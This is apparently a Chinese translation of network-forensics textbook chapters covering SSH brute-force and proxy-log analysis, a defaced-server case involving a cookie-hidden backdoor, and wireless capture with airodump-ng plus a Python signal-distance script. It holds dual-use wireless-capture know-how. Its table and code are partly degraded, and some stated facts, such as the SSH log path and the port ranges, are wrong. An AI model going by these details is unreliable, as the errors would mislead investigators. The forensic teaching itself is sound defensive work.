在本章中，我们看到如何解码 Metasploit 的编码有效载荷，并从网络本身捕获的证据中理解。我们看到了攻击者如何从普通的反向 shell 迁移到 Meterpreter shell 的各种技术。我们研究了多种技术以解密加密的 Meterpreter 通信。我们还了解了 Empire 的工作原理，并在应用到真实案例研究时学习了其威胁指示。在本章中，我们依赖于启用 pcap 的数据。

在下一章中，我们将探讨如何使用基于日志的数据来解决真实世界案例。

问题和练习

根据本章涵盖的材料回答/解决以下问题和练习：

  1. 重复本章中涵盖的练习

  2. 尝试解码 GitHub 上的 Challenges 目录中的其他样本（github.com/nipunjaswal/networkforensics/tree/master/Challenges）

  3. 下列哪些使用 TLV 作为其通信标准？

    1. Metasploit

    2. Empire

  4. 下列哪些用于保持攻击者了解目标是否在线的灯塔功能？

    1. Metasploit

    2. Empire

    3. 两者

    4. 以上均无

进一步阅读

查看以下资源以获取本章涵盖的更多信息：

第八章：调查和分析日志

到目前为止，我们主要处理的是通过网络嗅探和监控获取的网络数据包。然而，也有一些情况下，单纯的数据包分析可能不够，我们需要从日志中获取输入。在典型的网络中，日志可以无处不在。考虑到，当你浏览互联网时，你会在系统、网络交换机、路由器、主 DNS、ISP、代理服务器、请求资源的服务器以及其他许多地方留下日志，这些地方可能是你通常不会想到的。本章中，我们将处理多种日志类型，并收集输入以帮助我们的网络取证练习。

在本章中，我们将覆盖以下关键主题：

  • 网络入侵与足迹

  • 案例研究——篡改的服务器

然而，在继续之前，让我们通过分析ssh_cap.pcap文件，了解日志分析的需求以及它在网络取证场景中的应用。

技术要求

为了跟随本章中的练习，我们将需要以下内容：

网络入侵与足迹

假设我们已经收到一个 PCAP 文件用于分析，并且收到了来自 Linux 服务器的一些日志。通过在 Wireshark 中分析该文件，我们得到以下数据包信息：

看起来数据属于安全外壳协议（SSH），通过浏览 Wireshark 中的统计 | 会话，我们得到以下信息：

PCAP 文件中主要有两个主机，分别是192.168.153.130和192.168.153.141。我们可以看到目标端口是22，这是一个常用于 SSH 的端口。然而，这看起来不像标准的 SSH 连接，因为源端口不同且数量很多。此外，端口号不属于知名端口（1-1024）和已注册端口（1024-41951）范围内。这种行为对于暴力破解攻击的例子来说是很常见的。

然而，我们目前并不确定。让我们继续滚动 PCAP 并进一步调查，具体如下：

从前面的截图我们可以看到有大量的密钥交换发生。然而，目前没有一个可靠的方式来判断攻击者是否成功进行了暴力破解攻击。

我们可以比较长度，但不同的服务器可能发送不同的信息，因此这样做并不那么可靠。

调查 SSH 日志

我们刚才看到一个问题，我们无法通过 PCAP 分析区分暴力破解尝试。导致这种失败的原因之一是存在加密，且我们无法看出加密内容的差异。我们来检查一下服务器上的 SSH 登录日志，看看能否了解发生了什么。

Linux 中的 SSH 认证日志通常存储在 /var/log/access.log 文件中。

我们来打开 raw access.log 文件，看看是否能发现一些有趣的信息：

哎呀！认证失败次数太多了。这是一次暴力破解攻击。我们来检查一下攻击者是否成功访问了服务器：

对日志文件进行简单的文本搜索，查找 "Accepted"，即可显示出 SSH 服务接受了密码，表示认证成功。查看 auth.log 文件中的成功认证记录，我们得到以下信息：

我们可以看到一个成功的会话为 root 用户打开，但随即被断开，攻击继续进行。攻击者使用了一个自动化的暴力破解工具，破解密码后并没有停止。

如果你还没有注意到，有一件事需要留意——PCAP 文件中的数据包和日志之间存在时间差。这可能是由于 SSH 服务器的时间和监控系统的时间（PCAP 文件被记录的系统）不一致导致的。我们来使用 editcap 修正数据包到达的时间，如下所示：

你也可以通过 编辑 | 时间偏移... 菜单项在 Wireshark 中编辑时间

由于本章第一张截图中的时间和日志中时间相差正好 +2:30 小时，我们需要调整这个时间。正如前面截图所示，我们正在使用 editcap 通过添加 9000 秒（2:30 小时的秒数）来编辑当前时间。我们创建了一个新文件 ssh_adjusted.pcap，并调整了时间。我们来在 Wireshark 中打开它，如下所示：

我们现在可以看到根据日志调整后的时间，准确地看到在特定时间发生了什么。我们看到在 53100 端口上，SSH 的数据包有大量通信。通过过滤流，我们可以得到以下内容：

TCP 流 35、36 和 37 各自有 25 个数据包，而其他流有 42 个数据包。让我们打开对话，具体如下：

我们可以看到，对于大多数流，数据包的相对数量是 42，而在我们从 SSH 日志获得的时间框架内，数据包的数量不同，表示成功尝试时的变化。

我们可以看到，通过学习日志分析的洞察力以及网络数据包分析，我们可以更好地理解本来无法获得的网络证据。除了 SSH，HTTP 代理（如 HaProxy 和 Squid）在行业中的使用非常广泛，这使得它们也成为日志分析的理想选择。让我们在接下来的章节中查看一些示例。

调查网页代理日志

在本书的前半部分，我们已经看过了一些网页代理的例子。让我们继续深入研究。在接下来的示例中，我们将尝试解读在学习日志分析时可能发生的情况。我们将分析由 Squid 代理服务器生成的prox_access.log文件，具体如下：

    1553457412.696      0 192.168.153.1 NONE/000 0 NONE error:transaction-end-before-headers - HIER_NONE/- -
    1553457545.997     66 192.168.153.1 TCP_TUNNEL/200 39 CONNECT www.google.com:443 - HIER_DIRECT/172.217.167.4 -
    1553457546.232    102 192.168.153.1 TCP_TUNNEL/200 39 CONNECT www.google.com:443 - HIER_DIRECT/172.217.167.4 -
    1553457546.348     16 192.168.153.1 TCP_TUNNEL/200 39 CONNECT www.google.com:443 - HIER_DIRECT/172.217.167.4 -
    1553457580.022      0 192.168.153.1 TCP_DENIED/403 3974 CONNECT www.google.com:4444 - HIER_NONE/- text/html
    1553457656.824  94709 192.168.153.1 TCP_TUNNEL/200 3115 CONNECT bam.nr-data.net:443 - HIER_DIRECT/162.247.242.18 -
    1553457719.865 172055 192.168.153.1 TCP_TUNNEL/200 4789 CONNECT adservice.google.com:443 - HIER_DIRECT/172.217.167.2 -
    1553457719.867 171746 192.168.153.1 TCP_TUNNEL/200 4797 CONNECT adservice.google.co.in:443 - HIER_DIRECT/172.217.167.2 -
    1553457719.868 171394 192.168.153.1 TCP_TUNNEL/200 3809 CONNECT googleads.g.doubleclick.net:443 - HIER_DIRECT/172.217.167.2 -
    1553457729.872 173364 192.168.153.1 TCP_TUNNEL/200 4025 CONNECT c.go-mpulse.net:443 - HIER_DIRECT/104.108.158.205 -
    1553457734.884 171351 192.168.153.1 TCP_TUNNEL/200 3604 CONNECT pubads.g.doubleclick.net:443 - HIER_DIRECT/172.217.31.2 -
    1553457750.870 203722 192.168.153.1 TCP_TUNNEL/200 74545 CONNECT www.google.com:443 - HIER_DIRECT/172.217.167.4 -
    1553457797.787  78332 192.168.153.1 TCP_TUNNEL/200 6307 CONNECT ml314.com:443 - HIER_DIRECT/52.207.7.144 -
    1553457837.347  92073 192.168.153.1 TCP_TUNNEL/200 3115 CONNECT bam.nr-data.net:443 - HIER_DIRECT/162.247.242.18 -
    1553457886.866 170431 192.168.153.1 TCP_TUNNEL/200 7595 CONNECT trc.taboola.com:443 - HIER_DIRECT/151.101.10.2 -
    1553457913.119     71 192.168.153.1 TCP_TUNNEL/200 39 CONNECT www.google.com:443 - HIER_DIRECT/216.58.196.196 -

从之前的日志中我们可以看到，192.168.153.1正在向 Squid 代理服务器发送大量请求。然而，为了高效分析 Squid 日志，我们应关注以下标签：

类型 详情
HIT 响应是从缓存中生成的。
MEM 一个附加标签，表示响应对象来自内存缓存，避免了磁盘访问。仅在 HIT 响应中看到。
MISS 响应直接来自网络。
DENIED 请求被拒绝。
TUNNEL 请求通过二进制隧道完成。

此外，我们还可以遇到以下错误条件：

类型 详情
ABORTED 由于连接被中止，响应未完成。
TIMEOUT 由于连接超时，响应未完成。
IGNORED 响应被忽略，因为它比缓存中的内容要旧。

Squid 代理代码在wiki.squid-cache.org/SquidFaq/SquidLogs中有很好的解释。参考这些附加代码，以便解释像HIER_DIRECT这样的示例代码，表示对象是直接从源服务器获取的。同时，HIER 表示层次结构代码。

了解了这些响应后，让我们手动分析日志文件并找出一些有趣的事实：

我们可以看到，从上面的截图中，第一个条目是TCP_MISS_ABORTED，这表示响应原本应该从网络中生成，但由于请求被取消，因此被中止。

第三次访问detectportal.firefox.com是TCP_MISS，这意味着响应是直接从网络生成的，而不是从代理缓存中获取的。

我们还可以看到TCP_TUNNEL用于基于 HTTPS 的请求。让我们再查看一些日志：

哇！我们可以看到一个来自192.168.153.141到192.168.153.146的TCP_DENIED请求，端口是4444和80。4444端口通常被利用工具如 Metasploit 使用，从这些日志条目我们可以推断，192.168.153.141最初尝试通过4444端口连接回192.168.153.146，然后切换到80端口。这种情况是反向 Shell 的标志，说明被利用的服务正在尝试连接回去。记下时间戳后，我们可以开始在 PCAP 证据或系统证据中进行匹配。

我们始终可以使用自动化日志分析器，如 Sawmill，来解析各种日志格式，而且不必担心手动转换时间戳。

调查防火墙日志

工业级防火墙为网络活动提供了大量的见解，不仅仅是原始日志，它们通常能提供卓越的结果。像 Fortinet、Check Point 等防火墙每天都会向管理员提供深度流量分析。让我们看一下 Fortinet 防火墙生成的报告，如下所示：

我们在前面的截图中看到各种威胁。有很多失败的攻击尝试被防火墙拦截，包括 HTTP XXE 攻击、代理、mimikatz 和访问的各种恶意网站。让我们看一些更详细的信息：

我们从前面的截图中可以看到，列出了网络中的病毒感染排行、病毒受害者排行以及攻击排行。此外，我们还可以看到攻击的方向，如下所示：

上述日志报告是由 Fortinet 防火墙生成的。除了提供与攻击和恶意软件相关的详细信息外，防火墙还提供了流量统计的趋势，如下图所示：

我们可以在前面的截图中看到报告中的大量统计数据。这些日志可以从网页面板进一步分析。展示前述报告的目的是说明，有时你不需要重新发明轮子，也不需要在有报告可供查看的情况下进行深入分析，从而揭示大量信息。此外，Fortinet 的 FortiGate 日志的原始格式如下：

我们可以看到 FortiGate 日志提供了足够的信息，如源 IP、目的 IP、端口、攻击类型以及其他各种信息。

案例研究 – 被篡改的服务器

假设我们需要调查一台被攻击者入侵并篡改的服务器。管理团队已经实施了所有的措施，如日志记录和完整的数据包捕获。然而，似乎有人也清除了日志，从其修改时间、访问时间、创建时间、执行时间（MACE）属性来看是这样的。正如以下日志集所示，Apache 日志中的条目非常少：

    192.168.153.1 - - [25/Mar/2019:14:43:47 -0400] "GET /site/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:47 -0400] "GET /icons/blank.gif HTTP/1.1" 200 431 "http://192.168.153.130/site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:47 -0400] "GET /icons/folder.gif HTTP/1.1" 200 509 "http://192.168.153.130/site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:47 -0400] "GET /icons/back.gif HTTP/1.1" 200 499 "http://192.168.153.130/site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:49 -0400] "GET /site/includes/ HTTP/1.1" 200 1219 "http://192.168.153.130/site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:49 -0400] "GET /icons/unknown.gif HTTP/1.1" 200 528 "http://192.168.153.130/site/includes/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:49 -0400] "GET /icons/text.gif HTTP/1.1" 200 512 "http://192.168.153.130/site/includes/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:43:49 -0400] "GET /icons/compressed.gif HTTP/1.1" 200 1323 "http://192.168.153.130/site/includes/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
    192.168.153.1 - - [25/Mar/2019:14:44:09 -0400] "GET /site/includes/server.php HTTP/1.1" 200 148 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:44:17 -0400] "GET /site/includes/server.php HTTP/1.1" 200 446 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:44:26 -0400] "GET /site/includes/server.php HTTP/1.1" 200 156 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:45:20 -0400] "GET /site/includes/server.php HTTP/1.1" 200 2493 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:58:44 -0400] "GET /site/includes/server.php HTTP/1.1" 200 148 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:58:49 -0400] "GET /site/includes/server.php HTTP/1.1" 200 446 "-" "-"
    192.168.153.1 - - [25/Mar/2019:14:59:05 -0400] "GET /site/includes/server.php HTTP/1.1" 200 147 "-" "-"
...

看起来攻击来自192.168.153.1这个 IP 地址。然而，通过查看前面的日志细节，我们可以看到大多数请求中没有用户代理信息。此外，由于请求类型是GET，并且没有涉及任何参数，所以在被黑服务器上也没有数据被提交。很奇怪，对吧？参数里一定有什么东西。

到目前为止，大多数日志看起来像是合法的文件访问请求。没什么特别的。但是，为什么攻击者会向没有参数的资源页面发送这么多GET请求呢？也许是因为我们看得不对。让我们打开 PCAP 文件看一下捕获的数据：

这看起来像是一个正常的 HTTP GET 请求。然而，向下滚动一点，我们可以看到只有几个条目：

我们可以看到从被攻击的192.168.153.130服务器发出的请求到达了192.168.153.142。用户代理是wget，所以我们可以假设文件已经被下载到该服务器。接下来，我们将按以下方式调查此事：

从 HTTP 流中看，似乎一个 ELF 文件被下载到了被攻陷的服务器。我们将详细调查这个文件。但首先，让我们看看那些看似简单的GET请求揭示了什么：

哦！看起来后门代码就藏在 cookie 里，这就是它为什么没有出现在 Apache 日志中的原因。我们可以看到它看起来像是dir命令的输出。这是不是就是服务器上文件被下载的原因呢？让我们通过解码 cookie 值来检查一下，具体操作如下：

通过 Base64 解码这个值，我们可以得到明文的命令。然而，我们希望看到攻击者执行的所有命令。我们可以使用 tshark 来完成这项任务，如下所示：

第一个命令过滤掉了所有的 cookies，因为我们在http.cookie过滤器中使用了-R选项。输出中包含了不需要的'z='字符，所以我们通过 Linux 的cut命令去除了它。我们将 tshark 的输出保存到一个名为base的文件中。

在下一个命令中，我们使用了while循环逐行读取并打印每一行，同时这些行应当经过 Base64 解码。我们可以看到结果显示攻击者执行了以下操作：

  1. 输出1

  2. 列出了查看目录内容的命令

  3. 运行了whoami命令以查看当前用户

  4. 发出了ls -la命令以查看所有文件，包括隐藏文件

  5. 发出了wget命令，从另一个服务器下载一个文件，这个文件可能也是后门

  6. 再次尝试相同的操作，打印了一些 1 并再次列出目录

  7. 再次尝试下载该文件，但这次将其保存为shell.txt，并对shell.txt进行了重复操作

  8. 尝试下载shell.e文件

  9. 再次尝试下载shell.zip文件

  10. 尝试打印出 IP 地址、PHP 版本、禁用的 PHP 函数等信息

需要注意的一点是，攻击者并没有执行可能是本地漏洞的 shellcode 文件来获得高权限。此外，看起来他们的下载尝试失败了。然而，我们在 PCAP 中看到有文件被传输。让我们进一步调查一下：

我们只选择了这个数据包的响应。通过从显示并保存数据为选项中选择原始（raw），然后点击保存按钮，我们可以将其保存，如下所示：

此外，为了成功重建文件，我们必须移除 ELF 魔术头之前的所有内容。保存文件后，在记事本中打开它，删除服务器头部，并按如下所示保存文件：

现在我们已经移除了额外的头部信息，我们有了可供恶意软件分析团队分析的可执行文件。然而，当我们尝试在 Hybrid Analysis 上进行分析时，我们什么也没得到，如下图所示：

文件分析链接为www.hybrid-analysis.com/sample/d8fbd529d730901f7beff5c4a8057fd19057eb7c7a0447264babca573c4c75d5。

我们看到从文件中什么也没得到。然而，通过日志分析和 PCAP 分析，我们得到了大量的输入和强有力的证据。我们在本章中一直看到，日志分析和 PCAP 分析是相互依赖的。我们还看到 SSH 日志依赖于日志，服务器日志依赖于 PCAP，才能揭示更多攻击信息。

总结

在本章中，我们处理了各种日志类型并收集了输入，帮助我们进行网络取证练习。在下一章中，我们将学习如何识别恶意接入点，攻击者可以通过它查看你所有的通信日志，我们还将研究如何识别并物理找到这些恶意设备的策略。

问题与练习

  • 重复本章中涵盖的练习

  • 尝试调查你的家庭路由器的日志

  • 完成 Git 仓库中的日志分析挑战 5

进一步阅读

为了最大限度地利用本章内容，请阅读以下教程：

第九章：WLAN 取证

无线局域网的使用已成为我们生活中不可或缺的一部分。我们对其的依赖意味着，犯罪分子利用无线网络入侵你的 Wi-Fi 并窃取所有数据、通过你的网络摄像头查看日常活动，或在企业环境中访问关键数据服务器，已经变得司空见惯。一旦网络犯罪分子进入你的网络（或强迫你进入他们的网络），他们能做的事情几乎是无穷无尽的。

在本章过程中，我们将学习如何识别流氓接入点，这些接入点可能允许攻击者查看你的所有通信内容。我们还将探讨识别并物理定位这些流氓设备的策略。我们还会了解攻击者在进行高级攻击时可能采取的一些攻击模式。我们还将学习当犯罪分子伪造其 MAC 地址时该如何处理，这是在 Wi-Fi 犯罪中使用的最重要的技术之一。在进行本章的练习之前，让我们先了解一些关于无线 802.11 标准的基本知识，以及在无线取证练习中将帮助我们的数据包类型。

本章将涵盖以下主题：

  • 802.11 标准

  • 数据包类型和子类型

  • 定位无线设备

  • 识别流氓接入点

  • 识别攻击

  • 案例研究——识别攻击者

技术要求

跟随本章练习，我们需要以下设备：

802.11 标准

802.11 标准指的是 IEEE 为无线局域网定义的一系列规范。802.11 标准描述了客户端与基站之间，或任意两个无线客户端之间的空中接口。802.11 系列标准包含多个版本，如下所示：

  • 802.11：802.11 使用 1-2 Mbps 的传输速率，通过跳频扩频（FHSS）或直接序列扩频（DSSS）进行传输。

  • 802.11a：速度从 1-2 Mbps 提升到在 5 GHz 频段下的 54 Mbps。它不使用 FHSS 或 DSSS，而是使用正交频分复用（OFDM）编码。

  • 802.11b：该标准在 2.4 GHz 频段下有 11 Mbps 的传输速度，并且仅使用 DSSS。

  • 802.11g：该标准在 2.4 GHz 频段下提供高达 54 Mbps 的传输速度。

  • 802.11n：n 标准新增了 多输入多输出（MIMO）。其速度超过 100 Mbit/s。

  • 802.11ac：该标准的速度为 433 Mbps 至 1.3 Gbps，仅在 5 GHz 频段下工作。因此，拥有正确的 Wi-Fi 适配器对于捕获 2.4 GHz 和 5 GHz 频段上的流量至关重要。

了解无线标准的工作原理后，让我们在下一部分中看看无线取证场景中可能出现的证据类型。

无线证据类型

无线调查的证据通常会以 PCAP 文件或无线接入点的日志形式出现。然而，在实际环境中，您可以使用 aircrack-ng 套件设置捕获。我们在前几章使用的 aircrack-ng 套件允许我们将无线网络卡置于混杂模式，在该模式下我们可以捕获无线网络中的活动。

让我们通过以下步骤来看看如何完成这个操作。我们将使用一台安装了 Kali Linux 的 Windows 10 主机笔记本电脑：

  1. 首先，我们将连接外部 Wi-Fi 网卡，这是一个 TP-Link TL-WN722M 150 Mbps 高增益外部 USB 适配器。将其连接到笔记本电脑后，我们会看到以下信息：

  1. 点击“确定”，然后在 Kali Linux 机器上打开一个终端，如下所示：

  1. 执行 iwconfig 命令后，我们可以看到无线接口已经可用。

  2. 接下来，我们需要将其切换到监控模式。我们可以使用 airmon-ng 工具，通过执行 airmon-ng start wlan0 命令将无线接口置于监控模式，如下所示：

  1. 通过输入 airmon-ng 命令，然后跟上 start 和我们的无线接口标识符，airmon-ng 为我们创建了一个名为 wlan0mon 的虚拟接口。我们可以通过再次输入 iwconfig 命令来验证这一点，如下所示：

我们可以看到接口已成功创建，并处于 Monitor 模式。

使用 airodump-ng 监听空中信号

让我们通过使用 aircrack 套件中的另一个工具 airodump-ng 来进行调查，如下所示：

通过输入 airodump-ng wlan0mon 命令，开始嗅探我们周围的无线网络，同时不断跳转到不同的频道。这将为我们提供一个列表，列出附近可用的多个无线网络。屏幕上半部分的列表显示了具有 BSSID（接入点的 MAC 地址）和 ESSID（网络名称）以及其他许多详细信息的无线接入点。屏幕下半部分显示了站点，即终端设备。

我们还可以看到之前的列表中包含了CH，即接入点正在使用的频道号。频道实际上是频率，频道 1 为 2,412 MHz，频道 14 为 2,484 MHz。频道之间相隔 5 MHz，这意味着如果频道 1 为 2,412 MHz，那么频道 2 为 2,417 MHz，频道 3 为 2,422 MHz，依此类推。

此外，我们有一个PWR字段，用于表示功率。较低的功率值意味着接入点离我们的无线接口较远。我们可以看到无线网络VIP3R的PWR值为-51，这意味着它离我们非常近，而接入点dlink-DAD9_EXT则离我们非常远，功率值最低。功率值在物理定位设备时非常重要，尤其是在建筑物或楼层中。

此外，我们还可以看到之前列表中显示了加密类型、密码算法、认证类型等信息。在下方窗格中，我们可以看到连接到列出 Wi-Fi 接入点的设备。

我们通过以下命令来捕获所有来自单个无线网络 VIP3R 的详细信息：

airodump-ng wlan0mon --bssid 78:44:76:E7:B0:58 -c 11 -w viper

在上述命令中，我们使用了-bssid开关，仅过滤来自78:44:76:E7:B0:58（VIP3R）接入点的数据包，并且使用-c 11开关仅捕获 11 频道的数据。我们还选择将所有输出写入一个名为viper的文件，使用的是-w开关。该命令将返回以下详细信息：

我们可以通过运行命令来查看先前截图中列出的详细信息。我们可以看到三台设备连接到接入点，并且还有一个WPA 握手。WPA 握手意味着有人尝试与无线网络进行身份验证。如果在 WPA 握手后设备数量增加，通常意味着认证成功；如果没有增加，则意味着认证失败。同样，找到设备可以通过 PWR 信号来完成。通常，攻击者通过两种不同方式捕获 WPA 握手：

  • 听取别人尝试认证时的情况

  • 有意强制断开连接的设备并允许它们重新连接

攻击者将通过暴力破解握手以找到网络密码并访问网络。我们看到，当我们停止捕获时，airodump-ng立即创建了捕获文件，并通过ls -la命令列出了其他一些文件，如下图所示：

让我们通过执行wireshark viper-01.cap &命令在 Wireshark 中打开捕获的（.cap）文件，并从无线选项卡中选择 WLAN 流量：

我们将看到无线流量的统计信息，如前面的截图所示。此外，airodump 也会捕获到其他网络。让我们对我们的无线接入点的 MAC 地址应用过滤器，具体如下：

好吧，我们可以看到，使用wlan.addr后接接入点的 MAC/BSSID，可以过滤出所有与接入点（AP）相关的数据包。我们可以看到，MAC 地址以2c:33:61:xx:xx:xx开头的客户端来自一台苹果设备。此外，所有的基站和 MAC 地址都可以通过 Wireshark 中的 Resolved Addresses 选项解析出其类型，如下图所示：

我们可以看到，通过 Wireshark 无法准确统计出我们的 AP 与多少站点通信。让我们使用tshark -r viper-01.cap -2 -R wlan.da==78:44:76:e7:b0:54 -T fields -e wlan.sa | sort | uniq来帮助我们，结果如下：

tshark工具通过读取-r开关中的文件运行，并使用过滤器wlan.da==78:44:76:e7:b0:54作为目标地址，同时仅通过-T fields和-e wlan.sa开关打印wlan源。利用输出，我们使用sort和uniq Linux 命令对结果进行排序并打印唯一项。

如果前述命令出现 LUA 错误，请通过编辑/usr/share/Wireshark/init.lua文件的第 29 行，设置disable_lua=true来禁用 LUA。

我们可以在macvendors.com/查看找到的 MAC 地址，如下所示：

此外，由于 MAC 厂商提供了 API，我们可以随时开发一个不错的 Python 脚本来帮我们进行 MAC 地址检查。你可以查看macvendors.co/api/python上的一个脚本。

数据包类型和子类型

在我们深入了解数据包类型和子类型之前，先来看看我们连接到 Wi-Fi 接入点时会发生什么。在这个演示中，我们将使用TP-Link 路由器和一部苹果 iPhone 7。我将尝试从手机连接到 VIP3R 网络，但不会使用正确的密码。请看以下截图：

通常，当我们在 iPhone 或其他手机上打开设置时，我们会开始看到手机附近的网络。这是因为每个接入点不断地发送信标帧来表示其存在。为了让手机了解更多关于网络的信息，会向接入点发送探测请求。我们可以看到，我们的 Wi-Fi 接入点（78:44:76:E7:B0:58）向 iPhone 发送了一个探测响应（8155），其中包含了站点参数和支持的速率。

接下来，iPhone 启动认证过程，路由器对此做出了响应。通常，认证请求/响应由两个通信设备之间交换的几个数据包组成。

接下来，iPhone 发送关联请求（8162）以将自己与网络关联，路由器则返回一个带有关联 ID 的关联响应（8164）。然后，发生密钥交换过程，由于密钥错误，路由器向 iPhone 发送一个解除关联数据包，表示尝试失败并立即中断关联。既然我们现在知道这些过程是如何工作的，接下来我们将详细讨论无线 802.11 帧的类型。

我们主要有数据帧、管理帧和控制帧在 802.11 标准中。从纯粹的取证角度来看，我们最常接触到的是管理帧。以下表格突出显示了帧的类型及其子类型：

数据包类型 用途
类型 子类型
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt
0 mgmt

欲了解更多关于无线数据包类型和子类型的信息，请参考www.savvius.com/networking-glossary/wireless_lan_overview/wlan_packet_types/。

我们可以看到子类型的值是以二进制表示的。我们可以在 Wireshark 中使用其十六进制等效值，如下所示：

我们获得的关于数据包类型和子类型的信息将帮助我们在本章后半部分识别攻击模式。现在，让我们深入探讨这些练习。

想了解更多关于管理帧类型的信息，请参考 mrncciew.com/2014/09/29/cwap-802-11-mgmt-frame-types/。

定位无线设备

作为网络取证调查员，有时我们会遇到建筑物或楼层中的 rogue 设备。找到这些设备非常重要，因为它们可能包含有关攻击者和攻击本身的关键信息。Wi-Fi 也不例外。假设我们在网络中发现了一个 rogue 接入点。作为取证调查员，我们尝试找出该设备的位置。我们将利用一些脚本来完成这项任务。记得 PWR 字段在 airodump-ng 工具中的作用吗？我们需要开发类似的东西来持续轮询网络。为此，我们编写以下 Python 2.7 脚本：

#!/usr/bin/env python 
# Author: Nipun Jaswal
from prettytable import PrettyTable
import operator
import subprocess 
import os
import math
import re
import schedule
import time
def sniffer():

  # iwlist command to scan all the Access Points
  proc = subprocess.Popen('iwlist wlan0 scan | grep -oE "(ESSID:|Address:|Channel:|Quality=).*" 2>/dev/null', shell=True, stdout=subprocess.PIPE, ) 
  stdout_str = proc.communicate()[0]
  stdout_list=stdout_str.split('\n')

  #Declaring Lists
  network_name=[]
  mac_address=[]
  channel=[]
  signal=[]
  decibel=[]
  distance=[]
  frequency=[]

  #Reading all the Lines
  for line in stdout_list:
      line=line.strip()
      #Regex to Match ESSID Value
      match=re.search('ESSID:"(\S+)"',line) 
      if match: 
          network_name.append(match.group(1)) 
      #Regex to Match Channel Value
      match=re.search('Channel:(\S*)',line) 
      if match: 
            channel.append(match.group(1))
           #Calculating Frequency
           frequency.append(int(match.group(1))*5 + 2407)
      #Regex to Match Address Value
      match=re.search('Address:\s(\S+)',line)
      if match:
           mac_address.append(match.group(1))
      #Regex to Match Signal Value
      match=re.search('Signal level=(\S+)',line)
      if match:
           signal.append(match.group(1))
           # Sign Correctness
           decibel.append(abs(int(match.group(1))))
  i=0
  x = PrettyTable()
  x.field_names = ["ESSID", "MAC Address", "Channel", "Signal", "Distance","Frequency","Decibel"]
  os.system("clear")
  while i < len(network_name):
      # Free Space Path Loss (FSPL)
      distance= 10 ** ((27.55 - (20 * math.log10(int(frequency[i]))) + int(decibel[i]))/20)
      # Adding a Row to Pretty Table
      x.add_row([network_name[i],mac_address[i],channel[i],int(signal[i]),str(float(distance))+ " mtr",int(frequency[i]),int(decibel[i])])
      i=i+1
  print x.get_string(sort_key=operator.itemgetter(4, 0), sortby="Signal", reversesort=True)
  i=0

# Main Thread Starts
schedule.every(5).seconds.do(sniffer)
while 1:
    schedule.run_pending()
    time.sleep(1)

代码非常直观。我们使用了一个计划任务，每 5 秒运行一次无线扫描，使用 iwlist 命令。我们使用正则表达式过滤数据并通过 PrettyTable Python 模块显示结果。为了计算接入点和我们接口之间的距离，我们使用了 自由空间路径损耗 (FSPL) 算法，以及 PWR 字段（功率/信号强度）和 Frequency（频道 ID）来计算距离，公式如下：

Distance From the Access Point in Meters = 10 ^ ((27.55 - (20 * log10 (frequency)) +decibel)/20)

让我们使用前面的公式来计算一个在 11 频道上运行、功率值为 -56 的 VIP3R 接入点的读数。我们可以看到，要使前面的公式成立，我们需要两个值。对于分贝，我们将使用它的绝对值，即 56。为了计算 11 频道的频率，我们使用以下公式：

Frequency = channel number * gap + frequency of first channel - gap

使用这些表达式，我们得到如下结果：

= 11 * 5 + 2412 - 5 
= 55+ 2407 = 2462 MHz

因此，将这些值代入公式，我们得到如下结果：

distance= 10 ^ ((27.55 - (20 * log10(2462)) + 56)/20) 
distance= 6.11240259465

好的，距离为 6.112 米，这几乎是准确的，考虑到从我当前写这篇文章的位置到我的无线路由器的距离。不过，需要注意的一点是，这个公式适用于自由空间路径损耗（free-space path loss），在有大量墙壁和物体阻隔的情况下，可能并不十分准确。

你可以参考一篇优秀的白皮书，了解各种物体类型引起的信号损耗及其数值，地址为 arxiv.org/pdf/1707.05554.pdf。

让我们运行之前构建的 Python 脚本，看看当我们靠近接入点时，得到的值是什么，如下截图所示：

当我们稍微靠近接入点时，得到如下结果：

我们已经非常准确地测量了距离。现在我们知道如何使用 Linux 中的iwlist扫描命令的某些值来创建有助于无线网络取证的内容。

为了更精确的读取，您可以查看上下频率；了解更多信息请访问www.electronics-notes.com/articles/connectivity/wifi-ieee-802-11/channels-frequencies-bands-bandwidth.php。

识别恶意接入点

恶意接入点是一个日益受到关注的领域。攻击者对合法路由器执行拒绝服务（DOS）攻击，并设置一个具有相同 SSID 的假接入点，迫使站点连接到恶意接入点。攻击者可以通过多种方式设置假接入点。识别这些恶意 AP 是我们接下来要探讨的内容。

MAC 地址明显变化

假设我们在附近有一个恶意接入点。使用airodump-ng捕获数据包，我们得到如下信息：

我们可以看到我们有两个配置相似的网络，而目前唯一能看到的变化是 BSSID（MAC 地址）和 MB（链路速度）。虽然 MB 是最明显的变化，让我们在 MAC 厂商网站上查看这两个 MAC 地址，如下所示：

